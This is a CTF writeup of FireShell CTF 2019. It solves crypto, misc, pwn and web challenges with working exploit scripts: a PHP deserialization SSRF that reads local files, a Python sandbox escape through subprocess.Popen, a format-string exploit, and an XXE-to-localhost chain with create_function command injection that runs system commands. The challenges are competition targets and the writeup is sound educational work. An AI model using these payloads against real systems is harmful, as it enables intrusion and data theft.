CTFするぞ

CTF以外のことも書くよ

FireShell CTF 2019 Writeup

FireShell CTF 2019 had been held in 26 and 27 Jan for 24 hours. Our team insecure got 1958pts and reached 16th place.

f:id:ptr-yudai:20190128221927p:plain

There were so many challenges that I couldn't even check some of them. I'm going to write the solution for some challenges I solved during the competition. That was a hard CTF but I really enjoyed it. Thank you @fireshellst for the awesome CTF!

[Crypto 60] Alphabet

Description: If you know your keyboard, you know the flag
File: submit_the_flag_that_is_here.7z

In the given file has a lot of hash-like strings split by spaces. Each hash seems the md5 or the sha256 of an alphabet.

72dfcfb0c470ac255cde83fb8fe38de8a128188e03ea5ba5b2a93adbea1062fa 65c74c15a686187bb6bbf9958f494fc6b80068034a659a9ad44991b08c58f2d2 454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1 3f79bb7b435b05321651daefd374cdc681dc06faa65e374e38337b88ca046dea ...[snipped]

I made a decoder and found the flag in the output.

import hashlib
import string

f = open("submit_the_flag_that_is_here.txt")
buf = f.read()
hashlist = buf.split(" ")
flag = ""
for h in hashlist:
    for c in string.printable:
        if hashlib.sha256(c).hexdigest() == h:
            flag += c
            break
        elif hashlib.md5(c).hexdigest() == h:
            flag += c
            break
    else:
        break

print(flag)
open("flag", "wb").write(flag)

[Web 269] Vice

Description: http://68.183.31.62:991/

We are given a PHP code.

<?php
//require_once 'config.php';

class SHITS{
  private $url;
  private $method;
  private $addr;
  private $host;
  private $name;

  function __construct($method,$url){
    $this->method = $method;
    $this->url = $url;
  }

  function doit(){
    
    $this->host = @parse_url($this->url)['host'];
    $this->addr = @gethostbyname($this->host);
    $this->name = @gethostbyaddr($this->host);
    if($this->addr !== "127.0.0.1" || $this->name === false){
      $not = ['.txt','.php','.xml','.html','.','[',']'];
      foreach($not as $ext){
        $p = strpos($this->url,$ext);
        if($p){
          die(":)");
        }
      }
      $ch = curl_init();
      curl_setopt($ch,CURLOPT_URL,$this->url);
      curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

      $result = curl_exec($ch);
      echo $result;
    }else{
      die(":)");
    }
  }
  function __destruct(){
    if(in_array($this->method,array("doit"))){
 
      call_user_func_array(array($this,$this->method),array());
    }else{
      die(":)");
    }
  }
}
if(isset($_GET["gg"])) {
    @unserialize($_GET["gg"]);
} else {
    highlight_file(__FILE__);
}

As we look into the destructor, we notice that the method doit can be called. In the method we can get the contents of arbitrary url after the instance $url is parsed and valified. The url cannot contain some phrase such as ., [, ], and the host cannot be 127.0.0.1. We can bypass the local access check by using alternative hostname such as localhost or 2130706433. (It was not necessary as a result, though.) I found that curl_exec can retrieve the contents of local files by passing file:///path/to/file as an argument. The vulnerability can, for example, reveal the contents of /etc/passwd. However, we have a problem. Since our url (file path) cannot contain period(.), we can't access to config.php (which is written in the first line of the php code). After several attempts, I found I could use %2e instead of . because the path is a url, which means it may contain url-encoded characters. In this way I could successfully see the code of config.php.

import base64
import requests
import sys

payload = "Tzo1OiJTSElUUyI6NTp7czoxMDoiAFNISVRTAHVybCI7czo0MjoiZmlsZTovL2xvY2FsaG9zdC92YXIvd3d3L2h0bWwvY29uZmlnJTJlcGhwIjtzOjEzOiIAU0hJVFMAbWV0aG9kIjtzOjQ6ImRvaXQiO3M6MTE6IgBTSElUUwBhZGRyIjtOO3M6MTE6IgBTSElUUwBob3N0IjtOO3M6MTE6IgBTSElUUwBuYW1lIjtOO30="

print(repr(base64.b64decode(payload)))

data = {"gg": base64.b64decode(payload)}
r = requests.get("http://68.183.31.62:991/", params=data)
print(r.text)

The flag is written in this file.

<?php
if($_SERVER['REMOTE_ADDR'] !== '::1' || $_SERVER['REMOTE_ADDR'] !== '127.0.0.1'){
echo "aaawn";
}else{                                                                                                                                                                                        
$flag ="F#{wtf_5trp0s_}";                                                                                                                                                                     
}

[Misc 60] Python Learning Environment

Description: It's good to have a place to practice your python skills online. Can you find the flag in this strange environment?
https://ple.challs.fireshellsecurity.team/

In the website we can execute a python code and see the result. However, most of the built-in functions like __import__ or chr are disabled and also digits and brackets ([, ]) are also banned. What we want to do is execute a os command such as ls or cat.

I checked what packages are loaded using __subclassess__ method.

print(().__class__.__base__.__subclasses__())

Hundreds of object names are printed and I found <class 'subprocess.Popen'> out of them. This is the class object of subprocess.Popen, which means we can call any os commands. We have to extract this object from the numerous objects. I used __name__ property to substitute for str function, and __len__ method for numbers. I wrote a python code to run ls on the server.

t=().__class__.__base__.__subclasses__()
for x in t:
  if 'Popen' in x.__name__:
    break
w=x("ls",stdout=-"a".__len__())
print(w.communicate())

The flag was written in the list of the files :)

[Crypto 430] Weird Crypto

Description: Hey, a weird hacker encrypted my files! Please help me! He likes games!
Good luck!
File: WeirdCrypto_7e7edfa20aeaab46c0a7ffe36182305244c9cedb1c1e0c318f58f02c9882e0d4.tar.gz

In the file has a password-protected zip file, a jpeg image and a python script.

import random
import pyminizip
from PIL import Image
from gmpy2080 import get_all_names_from_image
#gmpy2080 is the perfect Reverse Image Search API

img = Image.open('names.jpg') #This image contains all characters from this source
namelist = list(img.get_all_names_from_image())
password = random.choice(namelist)

files = "N0.txt UwU.zip XwX.jpg weird_animal"
pyminizip.compress(files, "OwO.zip", password, compression_level)

This script tells us that the password is the name of the characters drawn in the image. One of my team member @yoshiking made a name list and found the password using john. Maybe it was an easy task because the characters are of Japanese games. Anyway, the password is clownpiece.

I extracted OwO.zip and found a text and a binary file along with the image of clownpiece.

bro, 
        do you know A_S_R?
                MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhASefFhHtsI2oAhTr0Bx4XnClvcgyU+2f
                fBh53kF90egvAgMBAAE=
$ hexdump -C weird_animal 
00000000  16 8c 3a 5c 2c 6b d2 c2  d3 03 4b d4 4a f5 ea 29  |..:\,k....K.J..)|
00000010  8c 3d fc b7 72 24 25 d7  e8 e2 47 92 93 62 cd 61  |.=..r$%...G..b.a|
00000020

The base64 text is also a binary data.

$ echo MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhASefFhHtsI2oAhTr0Bx4XnClvcgyU+2ffBh53kF90egvAgMBAAE= | base64 -d | hexdump -C
00000000  30 3c 30 0d 06 09 2a 86  48 86 f7 0d 01 01 01 05  |0<0...*.H.......|
00000010  00 03 2b 00 30 28 02 21  01 27 9f 16 11 ed b0 8d  |..+.0(.!.'......|
00000020  a8 02 14 eb d0 1c 78 5e  70 a5 bd c8 32 53 ed 9f  |......x^p...2S..|
00000030  7c 18 79 de 41 7d d1 e8  2f 02 03 01 00 01        ||.y.A}../.....|
0000003e

After several attempts, I found this is a digital signature. (I noticed that the last sequence of the binary is 01 00 01 == 65537, which is a well-known number for e in RSA.)

We have the public key c, n, e, where n=133713371337133713371337133713371337133713371337133713371337133713371337713711. I could successfully factorize n using factordb.

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
 
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

c = int(open('weird_animal').read().encode('hex'), 16)
p = 1860359276734318356125628767
q = 71875025974474493093168609593879437761722540733233
n = p * q
e = 65537
phi = (p - 1) * (q - 1)
 
d = modinv(e, phi)
 
m = pow(c, d, n)
print(hex(m)[2:].rstrip('L').decode('hex'))

The decrypted data was a bash command to generate the password.

echo-n'nyancat'|sha256sum

I opened UwU.zip with this password and got a file named flag, which turned out to be another encrypted data. Same principle. I factorized n for the second public key and decrypted the flag.

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
 
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

c = int(open('flag').read().encode('hex'), 16)
p = 121588253559534573498320028934517990374721243335397811413129137253981502266611
q = 79266117915777331935558561759105375936182700866258172021902853781249206532339
n = p * q
e = 65537
phi = (p - 1) * (q - 1)

d = modinv(e, phi)

m = pow(c, d, n)
print(hex(m)[2:].rstrip('L').decode('hex'))

Finally I got the flag!

F#{Touhou_and_CVE-2017-15361}

I did know Touhou but didn't know this was a CVE. This CVE is the vulnerability of an RSA library which Infineon Technologies had provided.

[Pwn 82] casino

Description: Try to earn some money and maybe something more
nc challs.fireshellsecurity.team 31006
File: casino.zip

It's a 64-bit ELF with RELRO, SSP, NX enabled.

$ checksec casino
[*] '/home/ptr/fireshell/casino/casino'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

This is the overview of the binary.

#include <stdio.h>
#include <stdlib.h>

int bet = 1;

int main()
{
  int i, num, random, money = 0;
  char name[0x10];
  unsigned int seed = (time() * 0xCCCCCCCD) >> 3;
  printf("What is your name?");
  read(stdin, name, 0x10);
  printf("Welcome ");
  printf(name);
  putchar('\n');
  seed += bet;
  srand(seed);

  for(i = 1; i < 100; i++) {
    random = rand();
    printf("[%d/100] Guess my number: ", i);
    scanf("%d", &num);
    if (num != random) {
      puts("Sorry! It was not my number");
      exit(0);
    }
    puts("Correct!");
    money += bet;
  }

  if (money > 100) {
    puts("Cool! Here's another prize");
    char flag[0x20];
    FILE *fd = fopen("flag.txt", "r");
    fread(fd, 0x1e, 1, flag);
    fclose(fd);
    printf("%s", flag);
  }
}

bet is a global variable and is set to 1. The seed is based on the clock but it doesn't change for a while because of the right shift. This program has a format string bug but we can use only 16 bytes for our exploit. Also, we cannot overwrite the GOT since RELRO is enabled.

Thus, what we have to do is get seed, increase bet, and play the game. We can't do them at once because the buffer size for name is small. However, we can divide them into two part since the seed doesn't change for a while.

The first part is to retrieve the seed. It's located at the address of the 8th parameter of printf.

$ ./casino 
What is your name? %8$p
Welcome 0x93b1907

The second part is to set bet to more than 1. The following payload will set bet to 3.

AAA%11$n\x00\x00\x00\x00\x00\x20\x20\x60

Notice that we must put the address of bet AFTER the format string since printf stops reading when hitting a null byte.

This is the exploit code and the code which predicts the output of rand.

from pwn import *
import commands

host, port = "challs.fireshellsecurity.team", 31006

# Round 1
payload = "%8$p"
sock = remote(host, port)
sock.recvuntil("name? ")
sock.sendline(payload)
sock.recvuntil("Welcome ")
seed = int(sock.recvline().strip(), 16) + 3 # point!
print("[+] Seed = " + hex(seed))
sock.close()

# Round 2
payload = "AAA%11$n"
payload += p64(0x602020)
sock = remote(host, port)
#_ = raw_input()
sock.recvuntil("name? ")
sock.send(payload)

for cnt in range(1, 100):
    random = int(commands.getoutput("./a.out {0} {1}".format(seed, cnt)))
    print("[+] Round: {0}".format(cnt))
    sock.recvuntil("number: ")
    sock.sendline(str(random))
    if 'Sorry!' in sock.recvline():
        print("[-] Something is wrong......")
        exit(1)

print(sock.recv(4096))
print(sock.recv(4096))
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char** argv)
{
  int i;
  if (argc < 3) {
    return 0;
  }
  srand(atoi(argv[1]));
  for(i = 0; i < atoi(argv[2]) - 1; i++) {
    rand();
  }
  printf("%d", rand());
  return 0;
}

[PPC 473] ProMidi

Description: nc 35.231.144.202 2007

After a hard PoW, we will get a base64-encoded data of midi(Standard MIDI Format). I used this package to parse the midi data. As I decode the midi, I found each note represents the ascii code. I joined them and got a text like <?blahblah?>. I thought it was the answer but it didn't work. One of my team member @theoldmoon0602 told me it was a base85 encoded string. Since I use python2, there is no function to decode base85 :-(

However, some decoders I found on the internet didn't work somehow. Finally I got the right answer by using my library and a decoder I found online.

Sorry for using my private library. You can find my implementation of base85 here if you'd like to.

from ptrlib import *
from pwn import *
import sys
import hashlib
import string
import random
import struct
import mido

def ascii85decode(data):
    n = b = 0
    out = b''
    for c in data:
        if b'!' <= c and c <= b'u':
            n += 1
            b = b*85+(ord(c)-33)
            if n == 5:
                out += struct.pack('>L', b)
                n = b = 0
        elif c == b'z':
            assert n == 0
            out += b'\0\0\0\0'
        elif c == b'~':
            if n:
                for _ in range(5-n):
                    b = b*85+84
                out += struct.pack('>L', b)[:n-1]
            break
    return out

sock = remote("35.231.144.202", 2007)

sock.recvuntil(":]: ")
ans = sock.recv(6)
while True:
    text = ''.join([random.choice(string.printable[:-6]) for i in range(8)])
    if hashlib.sha256(text).hexdigest()[-6:] == ans:
        break
print(text)
sock.sendline(text)
sock.sendline("start")
while True:
    try:
        print(sock.recvuntil("Here:: "))
    except:
        break
    midi = sock.recvline().decode("base64")
    print(midi)
    open("temp.mid", "wb").write(midi)
    mid = mido.MidiFile("temp.mid")
    answer = ""
    for track in mid.tracks:
        for msg in track:
            if msg.time > 0:
                answer += chr(msg.note)
    print(answer)
    try:
        answer = base85decode(answer[2:answer.index("~>")])
    except:
        answer = ascii85decode(answer[2:answer.index("~>")])
    print(answer)
    sock.send(answer)

sock.interactive()

[Web 60] Bad Injections

Description: http://68.183.31.62:94/

I can't believe the score is 60pts because I personally think this is the most difficult chall. The website has a simple LFI vulnerability in the List tab. The image in the List tab is loaded through /download by passing file and hash parameters. The hash parameter must have the md5sum of file. We can see the contents of any files by using this vulnerability if we know the path. Below is the python code to retrieve the contents of a file.

import hashlib
import requests

path = "/app/Routes.php"

data = {"file": path, "hash": hashlib.md5(path).hexdigest()}
r = requests.get("http://68.183.31.62:94/download", params=data)
print(r.text)

I could successfully read the source code of the website. Here is the code of /app/Routes.php. (The path is written in /app/Index.php whose path can be guessed by /app/Controller/Download.php.)

<?php

Route::set('index.php',function(){
  Index::createView('Index');
});

Route::set('index',function(){
  Index::createView('Index');
});

Route::set('about-us',function(){
  AboutUs::createView('AboutUs');
});

Route::set('contact-us',function(){
  ContactUs::createView('ContactUs');
});

Route::set('list',function(){
  ContactUs::createView('Lista');
});

Route::set('verify',function(){
  if(!isset($_GET['file']) && !isset($_GET['hash'])){
    Verify::createView('Verify');
  }else{
    Verify::verifyFile($_GET['file'],$_GET['hash']);
  }
});


Route::set('download',function(){
  if(isset($_REQUEST['file']) && isset($_REQUEST['hash'])){
    echo Download::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
  }else{
    echo 'jdas';
  }
});

Route::set('verify/download',function(){
  Verify::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
});


Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler);
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

Route::set('custom/sort',function(){
  Custom::sort($_REQUEST['rss'],$_REQUEST['order']);
});
Route::set('index',function(){
 Index::createView('Index');
});
 ?>

However, I had been stuck here for a long time because there was no flag in the source codes. As I looked over the source, I found two curious pages: /admin and /custom.

/app/Controllers/Admin.php

<?php

class Admin extends Controller{
  public static function sort($url,$order){
    $uri = parse_url($url);
    $file = file_get_contents($url);
    $dom = new DOMDocument();
    $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD);
    $xml = simplexml_import_dom($dom);
    if($xml){
     //echo count($xml->channel->item);
     //var_dump($xml->channel->item->link);
     $data = [];
     for($i=0;$i<count($xml->channel->item);$i++){
       //echo $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link."\n";
       $data[] = new Url($i,$uri['scheme'].'://'.$uri['host'].$xml->channel->item[$i]->link);
       //$data[$i] = $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link;
     }
     //var_dump($data);
     usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
     echo '<div class="ui list">';
     foreach($data as $dt) {

       $html = '<div class="item">';
       $html .= ''.$dt->id.' - ';
       $html .= ' <a href="'.$dt->link.'">'.$dt->link.'</a>';
       $html .= '</div>';
     }
     $html .= "</div>";
     echo $html;
    }else{
     $html .= "Error, not found XML file!";
     $html .= "<code>";
     $html .= "<pre>";
     $html .= $file;
     $html .= "</pre>";
     $hmlt .= "</code>";
     echo $html;
    }
  }

}

 ?>

/app/Controllers/Custom.php

<?php

class Custom extends Controller{
  public static function Test($string){
      $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
      $test = $root->name;
      echo $test;
  }

}

 ?>

OK, so we have an os command injection here in /app/Controllers/Admin.php:

usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

We have to bypass the localhost filter in order to take advantage of the vulnerability, which means we need an access from inside the server. This can be achieved by the XXE vulnerability in /app/Controllers/Custom.php.

Below is the xml to access to /admin. (We need name tag as is written in /app/Controllers/Custom.php.)

<!DOCTYPE name [ <!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?rss=blahblah&order=something">
]>
<name><name>&xxe;</name></name>

To ignite the xxe, we just have to request /custom with the xml set as a POST data.

The next thing we have to do before the os command injection is preparing another valid xml so as to make usort called. I put the following xml on my server.

<data>
        <channel>
                <item>
                        <id>1</id>
                        <link>/hoge</link>
                </item>
                <item>
                        <id>2</id>
                        <link>/foo</link>
                </item>
        </channel>
</data>

It's the command injection part finally. Given we can inject any data into $order, we want to call system function.

'return strcmp($a->'.$order.',$b->'.$order.');'

The conditions our injection works are:

  • A valid PHP syntax
  • No exception before system

I made the following injection code.

id,1)+system('ls')+strcmp(''

Let's try our injection!

import requests

command = "ls -lh /".replace(" ", "%20")
payload = """
<!DOCTYPE name [ <!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?rss=http://myserver.com/myxml.xml&order=id,1)%2bsystem('""" + command + """')%2bstrcmp(''">
]>
<name><name>&xxe;</name></name>
"""

r = requests.post("http://68.183.31.62:94/custom", data=payload)
print(r.text)
$ python inject.py | base64 -d
total 108K
drwxr-xr-x   1 root root 4.0K Dec 25 23:50 app
drwxr-xr-x   1 root root 4.0K Dec  4 15:47 bin
drwxr-xr-x   2 root root 4.0K Apr 10  2014 boot
-rwxr-xr-x   1 root root 1.1K Feb 15  2016 create_mysql_admin_user.sh
-rw-r--r--   1 root root   31 Dec 26 03:34 da0f72d5d79169971b62a479c34198e7
drwxr-xr-x   5 root root  360 Dec 25 23:47 dev
drwxr-xr-x   1 root root 4.0K Dec 25 23:55 etc
drwxr-xr-x   2 root root 4.0K Apr 10  2014 home
drwxr-xr-x   1 root root 4.0K Feb 15  2016 lib
[snipped]

Bingo! The flag is written in /da0f72d5d79169971b62a479c34198e7. That was a quite hard task but I enjoyed this challenge.